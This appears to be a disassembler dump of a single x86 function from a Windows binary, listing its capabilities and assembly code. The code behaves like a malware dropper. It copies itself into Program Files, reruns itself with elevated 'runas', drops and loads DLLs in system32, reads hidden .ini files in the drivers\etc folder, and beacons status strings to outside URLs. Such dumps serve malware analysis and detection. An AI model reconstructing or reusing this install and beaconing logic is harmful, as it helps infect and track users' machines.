Function at 0x401cb0
Capabilities:
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x425f5b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x14a4
call fcn.0040d0b0
mov eax, dword [str.DH_]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor eax, eax
mov esi, dword [0x4320bc]
mov byte [ebp - 0x614], 0
mov ecx, 0x7f
lea edi, [ebp - 0x613]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [ebp - 0x814], 0
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x3a68
xor edi, edi
sub eax, esi
push edi
mov dword [0x4320a8], eax
mov dword [ebp - 4], edi
call fcn.0040d06f
add esp, 4
mov dword [ebp - 0xfac], edi
mov esi, eax
mov ebx, 2
mov edi, 0x190
call fcn.004234ed
mov eax, dword [eax + 4]
mov ecx, dword [eax + 0x44]
push ecx
lea ecx, [ebp - 0xfb0]
call fcn.00401c00
mov ecx, dword [ebp - 0xfb0]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x914]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x401d70
lea eax, [ebp - 0x914]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401d83
sub eax, edx
mov dword [ebp - 0xfa8], eax
jne 0x40200e
push str.C:WINDOWS_system32driversetc_service3.ini
push pe_nt_image_headers32
lea edx, [ebp - 0x414]
push edx
push 0x427f29
push str.rand
push str.aaaaa
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x414]
push eax
call fcn.0040d06a
add esp, 4
test eax, eax
jle 0x401de2
lea ecx, [ebp - 0x414]
push ecx
call fcn.0040d06a
add esp, 4
mov esi, eax
mov eax, esi
cdq
idiv edi
mov eax, edx
and eax, 0x80000001
jns 0x401df5
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
jne 0x401e0e
lea ecx, [edx - 1]
lea eax, [edx + 1]
mov dword [ebp - 0xfac], ecx
mov dword [ebp - 0xfa8], eax
jmp 0x401e1d
lea ecx, [edx + 2]
mov dword [ebp - 0xfac], edx
mov dword [ebp - 0xfa8], ecx
cmp dword [ebp - 0xfa8], edi
jl 0x401e2c
dec edx
mov dword [ebp - 0xfa8], edx
mov esi, dword [ebp - 0xfac]
imul esi, esi, 0x1e
lea esi, [esi + str.Installing]
push esi
lea edx, [ebp - 0x114]
push str.C:Program_Files_s
push edx
call fcn.0040cf8a
add esp, 0xc
push 0
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [ebp - 0xfa8]
imul ecx, ecx, 0x1e
add ecx, str.Installing
push ecx
push esi
lea edx, [ebp - 0x114]
push str.C:Program_Files_s_s.exe
push edx
call fcn.0040cf8a
lea eax, [ebp - 0x114]
push 0
push eax
call fcn.0040cf44
add esp, 0x18
cmp eax, 0xffffffff
jne 0x401f1b
push pe_nt_image_headers32
lea ecx, [ebp - 0x414]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea edx, [ebp - 0x114]
push edx
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x180
lea ecx, [ebp - 0x114]
push 0x800a
push ecx
call fcn.004187f5
mov ebx, eax
add esp, 0xc
cmp ebx, 0xffffffff
je 0x401f1b
push 2
push 0
push ebx
call fcn.00414f7b
mov edx, dword [ebp - 0xfa8]
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xe14]
rep stosd dword es:[edi], eax
push edx
lea eax, [ebp - 0xe14]
push eax
push ebx
call fcn.004151f4
push ebx
call fcn.00418088
add esp, 0x1c
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x414]
push str._s__33201_
push edx
call fcn.0040cf8a
add esp, 0xc
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0xff4]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x1004]
push eax
lea ecx, [ebp - 0xff4]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
lea edx, [ebp - 0x414]
push edx
push 0
mov dword [ebp - 0xff4], 0x44
mov dword [ebp - 0xfc8], 1
mov word [ebp - 0xfc4], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x402368
push esi
lea eax, [ebp - 0x114]
push str.C:Program_Files_s
push eax
call fcn.0040cf8a
add esp, 0xc
push 1
lea ecx, [ebp - 0x114]
push ecx
push 0
lea edx, [ebp - 0x414]
push edx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
push 0
jg 0x402632
mov eax, dword [ebp + 8]
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_RunExeFail
push 0x434fb0
push 0
push 0
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0041dfdf
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call esi
mov ebx, dword [ebp - 0xfa8]
jmp 0x402014
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x4320b8]
mov eax, dword [0x4320b4]
sub eax, ecx
mov ecx, dword [0x4320a8]
lea edx, [eax + ecx - 0x96a]
lea eax, [ebp - 0xfa4]
push eax
push 0x101
mov dword [0x4320ac], edx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
push 0
jne 0x40236a
mov ecx, dword [0x4320b8]
mov eax, dword [0x4320c0]
mov edi, dword [0x4320c8]
sub ecx, eax
sub ecx, edi
sub ecx, 0x2615
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x4320b0], ecx
call fcn.0040cf44
add esp, 8
cmp eax, 0xffffffff
jne 0x40209e
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0040cf44
add esp, 8
cmp eax, 0xffffffff
je 0x40209e
push 0xea60
call esi
mov edx, dword [0x4320b0]
mov eax, dword [0x4320c4]
mov edi, dword [0x4320a8]
sub edx, eax
sub edx, edi
sub edx, 0x630
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x4320b4], edx
call fcn.0040cf44
add esp, 8
cmp eax, 0xffffffff
je 0x402609
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0040cf44
add esp, 8
cmp eax, 0xffffffff
je 0x402609
mov eax, dword [0x4320a8]
mov ecx, dword [0x4320b0]
mov edx, dword [0x4320bc]
push str.C:WINDOWS_system32driversetc_service5.ini
add ecx, eax
push 0x200
lea eax, [edx + ecx + 0x4328]
lea ecx, [ebp - 0xc14]
push ecx
push 0x427f29
push str.ConfigL0
push str.GameType1
mov dword [0x4320bc], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x427f29
lea esi, [ebp - 0xc14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x402254
lea eax, [ebp - 0xc14]
push eax
lea ecx, [ebp - 0x14b4]
push 0x12c
push ecx
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x402254
mov edx, dword [ebp - 0x14b4]
mov eax, edx
lea esi, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402180
sub eax, esi
mov cl, byte [eax + edx - 1]
mov eax, dword [ebp - 0x14a8]
push eax
cmp cl, 0x5c
push edx
lea ecx, [ebp - 0x314]
jne 0x4021a7
push str._s_s
jmp 0x4021ac
push 0x427dcc
push ecx
call fcn.0040cf8a
add esp, 0x10
lea edx, [ebp - 0x314]
push edx
lea eax, [ebp - 0xa14]
push str._s.bak
push eax
call fcn.0040cf8a
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0xc
push 0
lea ecx, [ebp - 0xa14]
push ecx
lea edx, [ebp - 0x314]
push edx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x314]
push eax
call esi
lea ecx, [ebp - 0x314]
push 0
push ecx
call fcn.0040cf44
add esp, 8
cmp eax, 0xffffffff
je 0x40221b
lea edx, [ebp - 0xa14]
push edx
call esi
jmp 0x402368
lea eax, [ebp - 0x314]
push eax
lea ecx, [ebp - 0xa14]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea ecx, [ebp - 0x314]
lea edx, [ebp - 0x614]
jmp 0x402240
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402240
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40225a
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x614]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402263
sub eax, edx
mov dword [ebp - 0xfa8], eax
push 0
je 0x40236a
mov eax, dword [0x4320c4]
mov edx, dword [0x4320b0]
mov esi, dword [0x4320ac]
sub edx, eax
sub edx, esi
lea eax, [ebp - 0x614]
add edx, 0x1c33
push eax
mov dword [0x4320c8], edx
call fcn.0040cf44
add esp, 8
cmp eax, 0xffffffff
jne 0x4022d1
mov eax, dword [ebp + 8]
push 0
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_NoDllx
push 0x434fb0
push 0
push 0
push 1
push 0x68
jmp 0x402351
lea ecx, [ebp - 0x614]
lea edx, [ebp - 0x814]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4022e0
mov ecx, dword [0x4320ac]
mov esi, dword [0x4320b4]
mov edx, dword [0x4320c0]
sub ecx, esi
lea eax, [edx + ecx + 0x3c2d]
lea ecx, [ebp - 0x614]
push ecx
mov dword [0x4320c0], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x40256b
push eax
lea edx, [ebp - 0x814]
push edx
call fcn.0040cf44
add esp, 8
push 0
push 0
push 0
cmp eax, 0xffffffff
mov eax, dword [ebp + 8]
push 0
jne 0x40236f
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_NoDlly
push 0x434fb0
push 0
push 0
push 1
push 0x68
add eax, 0x74
push eax
call fcn.0041dfdf
add esp, 0x2c
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call fcn.0040cf04
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_LoadFailx1
push 0x434fb0
push 0
push 0
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0041dfdf
add esp, 0x2c
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x314]
push 0x5c
push eax
call fcn.0040cd50
push 0
mov esi, eax
call fcn.0040d06f
push eax
push str._d.dll
inc esi
push esi
call fcn.0040cf8a
add esp, 0x18
push 0
lea ecx, [ebp - 0x314]
push ecx
lea edx, [ebp - 0x814]
push edx
call edi
lea ecx, [ebp - 0x314]
lea edx, [ebp - 0x614]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4023e0
lea eax, [ebp - 0x614]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x40256b
push eax
push eax
push eax
push eax
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_LoadFailx2
push 0x434fb0
push eax
push eax
mov eax, dword [ebp + 8]
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0041dfdf
add esp, 0x2c
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, ebx
imul ecx, ecx, 0x1e
add ecx, str.Installing
push ecx
lea edx, [ebp - 0x314]
push str.c:windows_system32_s.dll
push edx
call fcn.0040cf8a
add esp, 0xc
push 0
lea eax, [ebp - 0x314]
push eax
lea ecx, [ebp - 0x814]
push ecx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x614]
push edx
call esi
lea eax, [ebp - 0x314]
lea ecx, [ebp - 0x614]
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x402480
lea eax, [ebp - 0x614]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x40256b
push eax
push eax
push eax
push eax
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_LoadFailx3
push 0x434fb0
push eax
push eax
mov eax, dword [ebp + 8]
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0041dfdf
add esp, 0x2c
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xfac]
imul eax, eax, 0x1e
add eax, str.Installing
push eax
lea ecx, [ebp - 0x114]
push str.C:Program_Files_s
push ecx
call fcn.0040cf8a
add esp, 0xc
push 0
lea edx, [ebp - 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
imul ebx, ebx, 0x1e
add ebx, str.Installing
push ebx
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x314]
push str._s_s.dll
push ecx
call fcn.0040cf8a
add esp, 0x10
push 0
lea edx, [ebp - 0x314]
push edx
lea eax, [ebp - 0x814]
push eax
call edi
lea ecx, [ebp - 0x614]
push ecx
call esi
lea eax, [ebp - 0x314]
lea ecx, [ebp - 0x614]
jmp 0x402550
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x402550
lea edx, [ebp - 0x614]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x4025af
mov eax, dword [ebp + 8]
push 0
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_run
push 0x434fb0
push 0
push 0
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0041dfdf
add esp, 0x2c
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
jmp 0x4025a1
mov eax, dword [ebp + 8]
push 0
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_LoadFaily
push 0x434fb0
push 0
push 0
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0041dfdf
add esp, 0x2c
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xfb0]
add eax, 0xfffffff0
mov byte [ebp - 4], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402630
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
jmp 0x402630
mov edx, dword [0x4320b0]
mov eax, dword [0x4320cc]
mov ecx, dword [0x4320b4]
sub eax, edx
lea edx, [eax + ecx + 0x478e]
push 0x493e0
mov dword [0x4320b8], edx
call esi
push 0
call fcn.0040cf04
mov eax, 0x402630
ret